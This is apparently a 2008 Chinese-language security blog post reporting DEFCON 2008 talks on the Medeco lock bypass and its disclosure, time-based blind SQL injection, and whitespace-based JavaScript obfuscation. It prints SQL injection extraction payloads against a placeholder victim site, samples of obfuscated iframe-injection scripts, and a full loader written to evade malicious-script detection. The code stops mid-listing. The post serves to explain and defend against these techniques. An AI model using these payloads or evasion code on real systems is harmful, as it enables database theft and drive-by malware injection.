阿碼外傳-阿碼科技非官方中文 Blog

2008年9月4日

美國駭客年會 DEFCON 2008 觀察--第一天

豪不必馳千騎,雄不在垂雙鞬,天生俊氣自相逐,出與鵰鶚同飛翻 --李益

(此文續「美國駭客年會 Black Hat 2008 觀察--第二天」...)

0. 可以 program 的 DEFCON 吊牌
1. Schuyler Towne & Jon King: 美國最安全鎖頭 Medeco 的破解與完整揭露
2. Chema Alonso: 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表
3. Kolisar: 空白字元:JavaScript 變形的新方法
4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路
5. Wendel Guglielmetti Henrique:打穿 WAF
6. 黑白帽相見歡(Meet the Feds)
7. NIST:量子加密(Quantum Cryptography)
8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)

(抱歉讓大家久等了,我發現每天要到晚上一點多才有空 blog。)

昨天晚上沒有先來 DEFCON 報到,今天早上報到隊伍排得好長。排我前面跟後面的兩個人都在跑 metasploit nmap ;前面一個人是用 iphone 裝了 cydia要裝的看這)在跑,後面一個是拿他那低於兩百美金買的寶貝 XO Laptop 裝了 Ubuntu要裝的看這)在跑。穿著 tshirt 牛仔褲,沒有整理的頭髮,躲在厚重眼鏡後面因熬夜而快睜不開的眼睛...比起那些西裝筆挺,鞋子發亮,頭髮整齊,幽默風趣又能言善道的業務,這裡很多人看起來可能並不是型男,但是在數位世界中,他們是絕對的高手。

0. 可以 program 的 DEFCON 吊牌


DEFCON 這幾年的 pass 都做得很酷,今年的 pass,上面有一個 SD 讀卡機,還有 USB 接頭和一堆可以客製化的功能--可以無線傳輸,發出紅外線訊號充當電視遙控器,或相互通訊等。我一報到完一樣,雖然付費參加,還是跟 nico 和 dirk 知會過,拿了另一個媒體的牌,並簽了拍照的合約。DEFCONBlack Hat 比起來,對於拍照更是敏感,所以我一直都很小心,也跟他們一直保持互動。底下綠色的是媒體 pass,白色的是一般的 pass。



看看其他人加工過的牌子吧!照片是這裡來的


這個牌子可以讓你自己焊接一個 USB 接頭上去,就可以開始設計他了。所有需要用的軟體工具與 SDK,在 DEFCON 的 CD片中都有附。贏得比賽的人,可以拿到一個黑色的牌子,就獲得終身免費參加 DEFCON 的資格囉!設計這個牌子的是外號「Kinping」的 Joe Grand,以下是他介紹整個設計的訪問影片:



1. 美國最安全鎖頭 Medeco 的破解與完整揭露投影片

進去後先吃早餐,排隊排到都餓了。我坐下來,發現旁邊是一位很年輕的美國人,看來很想睡覺,眼睛幾乎睜不開了,但是手卻很忙,仔細一看,他正在開鎖,工具就擺在桌上。邊吃邊聊了起來,原來他就是 Jon King,正在開美國能做出來最安全的鎖:Medeco 的最頂級六針型鎖頭。Medeco 目前有超過四百名員工,在美國高階鎖市場市佔率達七成以上,凡舉各銀行,機密單位,軍方等,一律都採用Medeco 的鎖,所以一般美國鎖匠,也把 Medeco 看成是「終極神鎖」。

Jon 說他兩天沒睡了,眼睛睜不開,但是還是很熱心的一直跟我說,他是如何破解這顆鎖的。雖然我不懂鎖,但是聽起來真是有趣,找漏洞需要有一種特殊的「心理狀態」,而這種狀態,看來似乎實體安全跟資訊安全所需要的其實差不多。另外我更有興趣的是,他從驗證弱點到與廠商互動到公開攻擊方法的整個過程,也就是所謂的負責的弱點揭露(responsible vulnerability disclosure)的程序。這個議題雖然目前在資安圈,尤其是各大駭客年會上,正是個火熱的話題,但是在鎖匠的社群裡,這個議題已經有很長的歷史了(鎖跟電腦的發明差了多久?),可能也因為如此,似乎處理的方式也比較成熟。

Jon 與 Medeco 的故事,要從去年的 DEFCON 15 (2007)說起...

去年,Schuyler Towne 第一次來到 DEFCON,向駭客們介紹了 locksport。Locksport 是一個新興的文化,把研究鎖的設計與弱點當成興趣。這種社群最成熟的是在荷蘭的 TOOOL,每年都舉辦開鎖大賽 Dutch Open(這裡有 wired 2004 年大賽的報導),並努力希望奧運能加入開鎖比賽的項目。

Schuyler Towne 並在大會中發表了他創辦的「非破壞性進入(Non Destructive Entry)」雜誌。他當時演講的錄影在這裡,投影片在這裡

在另外一頭,Medeco 的首席工程師 Peter Field 首次於荷蘭 TOOOL 舉辦的開鎖年賽 Dutch Open 上演講。Peter 自 1960 年開始做鎖匠,於1978年被 Medeco 聘用,目前他已經擁有了超過 15 篇的美國專利。Peter 在開鎖大賽中長達四小時的馬拉松式演講充分表達了他對此社群的支持,也讓研究開鎖的社群與設計鎖的公司有了更好的互動。

而又在另外一頭,Jon King 今年 22 歲,在跟著美國海軍跑船之餘,利用空閒時間研究鎖的結構與開鎖的技巧,當然也研究美國最難開的 Medeco 鎖。2007 年九月時,其實 Jon 已經成功的開啟他他手上的 Medeco,但是他繼續研究,這是偶發事件,還是可以做出工具,讓攻擊可以簡單並系統化的重複?如果可以,那麼無敵的 Medeco 就算是真的配破解了。

Peter 演講後一個月,Jon 做出了 Medecoder 開鎖工具,可以重複地開 Medeco。今年二月,Jon 找上了 Schuyler Towne。他讀過 Schuyler 創辦的NDE 雜誌,他知道 Schuyler 可以幫他解決目前的一大難題:如何公開這個會讓美國所有最機密單位與銀行瞬間陷入危險的研究:Medeco 破解法與 Medecoder?

弱點揭露(vulnerability disclosure)中,雙方永遠是不對等的(就像最近 Google 與 RSnake 事件)。Medeco 是四百人的公司,背後還有美國政府。Jon 是一個 22 歲的小伙子。如果 Jon 與 Medeco 簽了保密合約(NDA),那麼 Jon 沒有 Medeco 允許,不能公開他找到的弱點。可是這種弱點可能讓一個製鎖公司瞬間瀕臨倒閉(記得 2004 年 Kryptonite 事件嗎?),Medeco 會讓 Jon 出去講嗎?可是如果不講,Medeco 可能根本不改善弱點,或者出新版後也不承認舊版有弱點(鎖不能 binary diff patch 吧?)如果 Jon 不簽 NDA 而直接完整揭露(full discloser),Medeco 可以稱此為不負責任揭露,發動輿論攻擊或甚至提告 Jon。故事會如何發展呢?

今年四月,Peter 帶著各種工具、零件與攝影機,來到了 Jon 住的公寓。五月,Medeco 已經設計出新一代產品:ARX 並可以生產,對於已經賣出的產品也有了修改套件。七月,Jon 首次於 The Last Hope 資安會議上展現此弱點與攻擊技巧:



七月底,Jon 寫的關於 Medeco 的完全揭露(full disclosure)公布於 NDE 雜誌第四期,裡頭註明了,此篇應 NDE 要求,延遲兩個月公布,目前兩個月時間已過,Medeco 也出了新產品 ARX,Jon 的攻擊對於新產品已失效,對於已經在市面上的眾多舊產品,Medeco 已經出了修補的套件。今天在 DEFCON,Schuyler 與 Jon 首次同台,共同講述了整個從發現弱點、設計攻擊工具、通知廠商到完整揭露的整個過程。整個演講有一半在探討負責的弱點揭露(responsible vulnerability disclosure)程序,內容大致與 NDE 第四期的第一篇文章相同,有興趣的朋友可以讀一讀。



演講中最精彩的,莫過於 Jon 當場拿他設計的工具示範開鎖。第一次很快地,他手一揚,結果又收回來,因為原本以為開了,但是手一抖就沒開成。這時 Jon 說:「各位,我希望我在 DEFCON 能開成,但是我兩天沒睡了,不能保證...」這時很多觀眾幫他出聲打氣:「You can do it Jon!」。一瞬間,從攝影機看到鎖頭動了,轉到開的位置,Jon 立刻把鎖頭高舉,大家興奮得一直鼓掌...



2. 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool)投影片)(whitepaper)(程式下載)(whitepaper)(extras)(Marathon 工具下載)

Okay,我又得承認,這中間我又開溜了,我跑去聽跟我們做得很相關的滲透測試手法:「時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool) 」。

以下是講師之一的 Chema Alonso(大會blog):



這個手法的精神主要是,在 blind SQL injection 時,如果不同 SQL injection 指令的結果,無法由 HTTP Response 本身得知,那麼可以用時間差的方式判斷。可以設計一個很耗時的 SQL 指令,這時如果 SQL injection 成功,那麼這個 SQL injection 指令的執行結果,會影響到 Web server 回復 HTTP response 的速度,這個就可以用來判斷 SQL injection 指令執行的結果。

Chema 在台上 demo 時一下子秀出他吸大麻的照片,一下拿出照相機拍台下的聽眾,一下子不斷用西班牙話數著:「一、二、三、四、五,注入成功!」活像個超級黑客。他目前在馬德里的 Rey Juan Carlos University 大學攻讀博士學位,由 Dr. Antonio Guzman 與 Dr. Marta Beltran 共同指導。這個演講其實就是根據他寫的博士論文。

由於兩位西班牙來的講師,Jose Parada 在微軟工作,Chema 也曾獲微軟的 最有價值專家(MS MVP,此演講早在去年底就在微軟官方的 TechNet 上公布過了

Chema 有一個在西班牙很受歡迎的 blog,如果有興趣的朋友可以讀一讀,如果你懂西班牙文的話。不懂西班牙文,用機器翻譯一下,也會發現很多好東西。例如 Chema 寫了三篇()他的 DEFCON 心得,如果挖一下,你會發現他把他照台下的照片貼出來了。由於 DEFCON 很多人 裝備 打扮 身份 都必較特殊,不喜歡被拍照,一般規定是不可拍群眾的,所以外面很少照片流傳,沒有實際去過的人,也比較不容易想像會場樣子。他什麼時候會拿掉不知道,有興趣的可以看一下 ;-)

另外他也在 blog 上公布了他的投影片...其實他公布了所有人的投影片...其實他連 Black Hat 所有投影片也公布了...

還有很多好玩的啦,自己挖吧!我怎麼看得懂呢?我背後做一個西班牙來的同事 Roman 啊!

這個演講他們也有公布 white paper,在這裡,裡頭你會發現作者還包括另外四位:Daniel、Rodolfo、Antonio 跟 Marta。想看 video 嗎?如果你聽西班牙話的話,這裡有 Daniel 的演講,大同小異。

我就用他們的 paper,簡單帶各位走一遍好了!

先談 blind SQL injection 。假設我是攻擊者,那 Blind SQL injection 講白話些,一般是指在目標網站的資料庫沒有吐錯誤訊息的情況下,進行 SQL injection 的方法。在 SQL injection 中,攻擊者需要知道兩項重要資訊:

1. SQL injection 是否成功?定義:是否能有效影響目標伺服器所執行的 SQL 指令?
2. SQL injection 所注入之指令所執行的結果?

第一點很容易明白,攻擊者要進行 SQL injection,第一步就是必須能有效地從外部影響到目標 web application 所執行的 SQL 指令。如果目標網站有開啟 資料庫 error 訊息,那麼這點可以由 error 訊息來得知。如果沒有開錯誤訊息,則可以由其他方式,例如觀察在成功與失敗的狀況下,回傳網頁的不同而得知。

第二點則十分重要,因為當攻擊者能夠成功地注入指令時,接下來必須能夠得知,注入的指令在執行後的結果;尤其像一些利用 "if" 指令的比對方法,攻擊者必須能掌握指令之結果。我舉個例子。

假設有一個購物網站,其中有一頁,能讓使用者用產品號碼查詢產品。我們知道某產品號碼為 1234,則我們查詢時的 URL 如下:

http://www.victim.com/search.asp?q=1234

會列出產品序號 1234 的相關資料。如果序號查不到,回應的頁面就會寫「查無此產品!」

假設後端 SQL 指令如下,並且沒有處理變數「q」(q 是不乾淨的 tainted):


objConn.Execute("select * from product_table where serial=" + Request.QueryString("q"));


攻擊者可以先測試此 URL:

http://www.victim.com/search.asp?q=1234 AND 1=0

發現回傳:「查無此產品!」

於是攻擊者再試第二個 URL:

http://www.victim.com/search.asp?q=1234 AND 1=1

發現回傳產品 1234 的簡介。於是攻擊者做出以下結論:

A. 此頁有 SQL injection 漏洞,攻擊者可以影響 SQL 指令並有效執行成功。
B. 執行的結果,可以由回傳的頁面不同來判定。

對於 (B),我們把第一個頁面(AND 1=0)稱做負頁面(false page),而把第二個頁面(AND 1=1)稱做正頁面(true page)。這邊目的 是要判斷 SQL condition 的 evaluation 是 true 或 false。

舉例來說,攻擊者於是可以設計以下 URL:

http://www.victim.com/search.asp?q=1234 AND (100>ASCII(Substring((select system_user),1,1)))

如果結果回傳負頁面,告訴我們此資料庫 system_user 名稱的第一個字元的 ASCII 碼小於或等於 100;如果回傳正頁面,則告訴我們第一個字元大於 100。自動化的攻擊工具可以在經過一串測試後,很快地把資料庫目前 system_user 名稱算出來。

感謝講師 Chema Alonso(大會blog)同意我們轉載他投影片上的任何內容,所以下面我們來看他投影片裡頭用的真實範例(內容完全根據投影片):

第一張我們可以看到,這是我們沒有對 URL 做任何改變時的畫面:


第二張我們把 URL 中加入「and 1=1」,結果回來的頁面是一樣的。這個就是我們的正頁面:


第三張我們把 URL 中加入「and 1=2」,結果回來的頁面不一樣。這個就是我們的負頁面:


這種比對的手法,可以把很多資訊解出來,包含資料庫名稱,table 名稱等等。

好了,所以對於 (1)「是否注入成功」與 (2)「SQL 指令執行結果」,在有錯誤訊息或回傳網頁會因結果而有變化的情況下,攻擊者可以很容易地做出判斷。但是如果這些訊息都沒有,就需要依靠 Blind SQL injection 技巧了。

Blind SQL injection 包含很多方法,從 2000 年大家陸續研究並提出許多 paper。對於初學者來說,整理得比較好的,我覺得是 SQLbfTools 這個 blind SQL injection 工具於於 Black Hat 2004 以及 DEFCON 2004 發表時的投影片。當時這篇發表的價值,是整理出可以判斷 true page / false page 的方法,包含 MD5、HTML tree 的分析、ASCII加總的線性表示等。其中利用 signature 比對的方式,跟我 WWW 2003 那篇提出的 NRE:R1=R2≠R3 的概念是一樣的。

而其實時間差用於 blind SQL injection 的概念,在當初 2002 年 NGS Software 的 Chris Anley 的 (more) Advanced SQL Injection 那篇就已經有提到了,以下幾個是他當時給的例子:

最簡單的來說,以下的 SQL injection 指令會讓我們在沒有知道目前資料庫的帳號是不是 "sa" (Microsoft SQL Server適用):


if (select system_user) = 'sa' waitfor delay '0:0:5'

接下來,看看這個 SQL injection:


declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 0))) > 0 waitfor delay '0:0:5'

根據時間差,我們可以得知目前資料庫名稱字串的第一個 bit 是否是 1。這個 SQL injection:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 1))) > 0 waitfor delay '0:0:5'


可以知道第二個 bit...連續做八次,第一個字母就出來了。假設資料庫名稱有二十個英文字母,也才需要做 80 次,況且現在很多工具都可以幫忙自動化這個過程。常用的自動 SQL injection 工具中,支援 blind SQL injection 的有 SQLbfTools(下載Black Hat 2004 投影片DEFCON 2004 投影片)、Absinthesqlninja 以及我好朋友寫的 SQL Power Injector 等:

SQLbfTools 畫面(從 Chema 投影片擷取):



Absinthe 畫面(從 Chema 投影片擷取):





sqlninja 畫面(從 Chema 投影片擷取):



SQL Power Injector:


事實上,比起人工的滲透測試,時間差判斷法對於自動工具來說更為重要。因為譬如正負頁面差異的方法,對人來說很好判斷,對自動的程式就比較不容易,因為網頁是很多動態的元件拼起來的,要識別一頁上什麼本來就一直變,要判斷什麼是因為 SQL 指令執行結果不同而變的,有時並不容易。事實上 2002 年我寫完 WWW 2003 那篇論文投稿後,就對這個題目很有興趣(類似 SQLbfTools 的研究),但是由於後來忙於白箱源碼檢測的研究,黑箱就沒有繼續。記憶中 WWW 2004 會議上時就有一篇是做這個的(但是不是給滲透測試用),但是是在 spacial domain 做。其實我覺得這樣的問題可以像大部分 Information Retrieval 模型一樣,拿到 frequency domain 來解。

講遠了,回正題,時間差識別法,對於自動化工具特別重要,因為這個方法容易自動化,不易因為自動化而造成誤判。

既然已經有了這麼多的工具,那麼 Chema 這篇的貢獻在哪裡呢?在於:

1. 他把適合各種平台用的時間差方法(在沒有 wait functions 的情況下)做了很好的整理,並擴充至不支援 T-SQL-like 語法的資料庫。他提的方法是可以通用於各種不同資料庫的,不受資料庫差異影響。
2. 他發表了開放源碼的工具 Marathon Tool

對於他整裡的時間差方法,因為時間有限,我簡單用他的第一個例子(MS SQL Server heavy query)敘述如下:


SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0 and 300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)


其實我們可以把這個指令簡化來看成兩個 evaluation 被 and 起來:

A and B

其中
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

這樣看就很清楚,A 是一個 heavy query,沒什麼特別,就是一個會讓 SQL server 做很久的 SQL 指令。

B 則是我們實際上要判斷的:sys.sysusers 的第一個字元 ASCII 碼大於或小於等於 300。

然後,這整個指令會先測 B,如果 B 成立才會測 A,而測 A 需要很久(幾秒)的時間。所以也就是說,如果 B 成立,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。其實講到這邊就講完了...但是,為何 B 會先被 evaluate,然後再 A,造成一個類似 if...then 的狀況?因為這種方式在 SQL injection 技巧中用的蠻多的,我們就來探討一下 :)

這是因為 SQL 語法有 short-circuit evaluation。某些語言,例如 C,有硬性規定 short-circuit evaluation 的運算元(operator)與先後順序(preference)。

例如以下這段 C 程式碼:


int denom = 0;
if (denom && nom/denom) {
oops_i_just_divided_by_zero(); // never happens
}


以上這段永遠不會 division by zero,因為 ANSI C 有硬性規定 "&&" 這個運算元有 short-circuit,而且順序是由左到右。所以因為 denom 是零,所以 nom/denom 永遠不會被 evaluate 到。

那麼這邊問題是:

1. C 有硬性規定,MS SQL 語法有嗎?
2. 如果有,那麼先後順序呢?

答案是,(1) 沒有,但是目前的實做是有,(2) 不一定!為了效率,MS SQL Server 確定會 short-circuit,但是順序為何?左到右?右到左?至今仍是個謎!

要探討這個迷,第一要注意的是,我們這邊運用的是 SQL 語法中的 short-circuit,而 SQL 語言非 procedural 語言。procedural 語言,例如 C,&& 或 || 都有定義 short-circuit,但是 SQL 語言中的 select...where clause,如果用的是「OR」這個運算元,那麼不用懷疑,沒有所謂 short circuit,因為在這種 context 下,被 OR 起來的所有 condition 都需要被 evaluate!所以網路上很多討論都是錯誤的。

至於 MS SQL "AND" 的 short-circuiting,當真是個謎,這裡試出來是左到右這裡卻是右到左。我沒有太多時間研究,但是我的猜測是,第一,MS SQL 不是 procedural language,所以不會硬性規定順序。第二,MS SQL Server 會根據如何做可以達到最佳效能,來決定所有被 AND 起來的 condition,誰先執行而誰後執行。基本原則是,快的先執行,這樣做 short circuit 才有意義。這是我個人看法,這裡有沒有熟 MS SQL 的看官?

無論如何,Chema 提的例子當中:A and B,其中:
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

因為執行順序為先 B 後 A(為什麼?我覺得因為 MS SQL Server 判斷 B 比較快 evaluate),所以如果 B 是 true,那麼就會執行 A。也就是說,如果 sysusers 的第一個字母的 ASCII 值大於 300 的話,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。

好玩吧!事實上,我覺得即使把 A / B 對調,變成:B and A,結果還是 B 會先被 evaluate。但是沒有試過就是了... :)

最後,Chema 也將他這次的研究,實做成了工具: Marathon 並在會上發表。跑起來長這樣,注意,重點是支援的資料庫比其他工具多:



3. 空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)投影片)(程式下載)(線上 demo

接下來我來到了整個 DEFCON 我最喜歡的演講之一:「空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)」。先不講演講內容,演講者叫「Kolisar」,當然是一個假的名字。演講後我跟他花了很多時間探討,才了解到,他在一家很有名的大公司上班,不是資安公司,但是負責公司的網管與資安。也就是說,對我們阿碼科技這種「廠商」來說,他是「用戶(user)」。用戶上來給演講?沒錯!因為過去一年半,網站掛馬 javascript 變形手法太強,沒有一家能夠有效識別惡意的 javascript(當然那時他不認識阿碼科技),他只好自己拿 spidermonkey 來做,經過一整年與變形後的惡意 javascript 搏鬥後,看得多了,自己也有了心得,於是根據他看到的以及他研究的,他終於說服了老闆來 DEFCON 給演講。什麼?要在駭客年會給演講?傳統的大企業當然有顧忌,所以最後雖然準他來,但是不能用真名,也不能提公司的名字...哈!

但是這就跟我一直提的,在台灣也是一樣,user 都快比很多廠商強了,被訓練出來的!尤其台灣很多經銷代理商,一心只想塞產品給客戶...客戶都只好自求多福,幾年下來功力已經超過廠商了。



Kolisar 給我的第一印象,看他眼睛,非常聰明,但是同時也是一個很認真也很誠懇的人。他的演講整間做得滿滿的,算一算快一千人吧!他一開始就說:這是我第一次來 DEFCON 講...事實上,我給過演講,最多只有 20 個人,結果這次第一次上台竟然那麼多人,所以我現在一直發抖...

他的態度讓大家都很喜歡他,台下一直幫他打氣,他不像其他有經驗的講師很會搞笑,一下子就講完了,但是獲得台下好大的掌聲,後來立刻大家也提了很多的問題。我覺得這種會就是這樣,你只要有東西,不用裝強,大家就會聽你說。

Kolisar 首先介紹了各種 javascript 的編碼方式,我在「美國駭客年會 Black Hat 2008 觀察--第二天」中也記錄了 Billy Hoffman 舉的 各種不同 javascript 的變形方式,也利用 malwareguru.org 介紹了線上許多不同的 javascript 變形器。這邊把之前的文貼一些過來。

我們就拿我之前寫的「神秘 Web 攻擊綁架剪貼簿」來看好了,其中用的一段範例 javascript:


function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}

1. Vanishing Point Packer(網頁malwareguru 上提供的線上 demo):


eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6 9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{}))


2. Yellopipe source code encrypter:


document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20"));


3. Audit My PC HTML Encoder:


document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u0064\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061\u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u006E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0020\u0020\u000D\u007D\u0020\u0020');

圖 4

4. 中國的「网?免? 孤程?雪」線上服務:


t="97,108,101,114,116,40,39,72,101,108,108,111,32,102,114,111,109,32,87,97,121,110,101,32,111,102,32,65,114,109,111,114,105,122,101,33,39,41,59"

t=eval("String.fromCharCode("+t+")");


Kolisar 的公司在美國每一個城市幾乎都有辦公室,他的工作是事件處理,從本部飛到每一個辦公室支援。這兩年他著實看了不少的網站掛馬與變形的 javascript,於是他整理如何辨識變形過的 javascript 如下:

1. 經過 escape 的 ASCII / UNICODE 的字串。
範例 1:

eval(unescape ('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'));


範例 2:

document.write('\uOO3c\uOO69\uOO66\uOO72\uOO6l\uOO6d\uOO65\uOO2O\uOO73\uOO72\uOO63\uOO3d\uOO27\uOO68\uOO74\uOO74\uOO7O
...
\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');


2. XOR(ASCII 值)
範例:

function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i < plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^ plain_str.charCodeAt(i)); return xored_str; }
function asd(a,b) {}; function qwe(c,i) {}; var plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96
...
\x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str);


3. XOR(字元編碼)
範例:

str = "ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!...
ubi)d(z||"; str2=""; for (i=0;i


4. 拆字
範例

le="rame>";
ok="docum";
uk="eight=0>aj="t.write(";
em="dth=0 h";
cg="nr="e src=/x.htm wi";
eval(ok+aj+cg+nr+em+uk+le);


5. 簡單的編碼
範例

function decrypt_p(x) {var l=x.length,b=1024,i,j,r,p,s,w=0,t=Array(63,53,56,3,9,35,38,14,13,
...
,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j==) {r=''; for (i=Math.min(l,b);i>0;i--,l--) {w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}else{s=6}}document.write(r)}} decrypt_p("S6dXf5aGSk8t49x1_t721gGPdk72OvU6EUK6fWauC3
...
Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I");


但是以上這些,在有經驗的資安專家眼中,還是很快會被「懷疑」。當然不是變形過的 javascript 就是惡意的,因為 javascript 變形很普遍(見此文),並不是所有變形過的 javascript 都一定是惡意的。但是,至少會引來懷疑。

Kolisar 整理說,基本上碰到有以下幾點的 javascript,他都會懷疑並花時間確認:

1. eval()
2. unescape()
3. document.write()
4. 很長並且沒有意義的字串:
* Escape 過的 ASCII / Unicode 字串
* 加密過的字串
* 等等

好,所以 Kolisar 就想,如果要隱藏一個惡意的 iframe 到一個 HTML 文件裡,但是又不要那麼明顯,該如何做?

於是他決定,第一,還是用 document.write() 來寫出來,但是又不要實際上有 document.write()。該如何做呢?首先他利用以下這段程式(我稍微修改過)取得 "document" 這個字串:


h = this;
for (i in h)
if(i.length == 8 && i.charCodeAt(0) == 100) break;


h=this 所以 h 就是 window。for (i in h) 把 h 裡的每一個 properties 都走一遍,而長度等於 8 而已 "d" (ASCII 100) 開頭的,就只有 "document"。

同樣的,接下來 Kolisar 取得 "write":


for (j in h[i])
if(j.length == 5 && j.charCodeAt(0) == 119) break;


在 document 裡,長度是 5 而以 "w" 開頭的,就只有 "write" 了。

同樣的使法,取得 "getElementById":


for (k in h[i])
if(k.length == 14 && k.charCodeAt(0) == 103) break;


這個手法最有趣的地方,就是惡意 javascript payload 擺的方式。payload 不僅用 whitespaces / tabs 來編碼,而且就直接擺在上述這些 javascript 的每一行後面。這一段 javascript,Kolisar 用:


<script id='p'>


來開頭。所以現在我們要解碼,就必須先取得 "p" 這個 DOM 物件。有了 "document" 以及 "getElementById",這不是問題,下面這一行搞定:


r=h[i][k]('p');


這行等於 r=this.document.getElementById('p') ,但是乍看之下並不明顯。這就是巧妙處之一。

要讀到我們偷放的 whitespaces / javascript,必須要透過 r.innerHTML,於是再做一次:


for (l in r)
if(l.length == 9) && l.charCodeAt(0) == 105) break;


一切就緒,接下來就只剩把 whitespaces / tabs 轉成我們要 document.write 出來的 iframe,然後最後把字串 "o" 寫出來:


h[i][j](o);


乍看之下,之前我們說的特徵都沒有:eval()、document.write()、很長的奇怪字串...等。有趣吧!但是其實啊,要躲避目前坊間各家的網頁掛馬偵測,不需這麼複雜,就像 Billy 說的,改寫 vbscript 就好了。目前坊間幾乎都是靜態分析,但是 javscript 這種這麼動態的語言(可以動態產生程式碼)完全不適合用靜態分析。即使號稱有動態分析的,都試用 spidermonkey 兜的,碰到駭客目前使用的一些專門對付 spikermonkey 的 javascript 或任何 vbscript,就失效了。所以除非做的像 HackAlert,不然偵測率會越來越低。

Kolisar 的整段程式碼如下:


<script id='p'>
d=1;
e=76;
h = this;
for (i in h)
{
if(i.length == 8)
{
if(i.charCodeAt(0) == 100)
{
if(i.charCodeAt(7) == 116)
{
break;
}
}
}
}
for (j in h[i])
{
if(j.length == 5)
{
if(j.charCodeAt(0) == 119)
{
if(j.charCodeAt(1) == 114)
{
break;
}
}
}
}
for (k in h[i])
{
if(k.length == 14)
{
if(k.charCodeAt(0) == 103)
{
if(k.charCodeAt(3) == 69)
{
break;
}
}
}
}
r=h[i][k]('p');
for (l in r)
{
if(l.length == 9)
{
if(l.charCodeAt(0) == 105)
{
if(l.charCodeAt(5) == 72)
{
break;
}
}
}
}
a=r[l];
b=a.split('\n');
o = "";
for(c=3; c &lt; (e+3); c++)
{
s=b[c];
for(f=0; f &lt; d; f++)
{
y = ((s.length - (8*d)) + (f*8));
v = 0;
for(x = 0; x &lt; 8; x++)
{
if(s.charCodeAt(x+y) &gt; 9)
{
v++;
}
if(x != 7)
{
v = v &lt;&lt; 1;
}
}
o += String.fromCharCode(v);
}
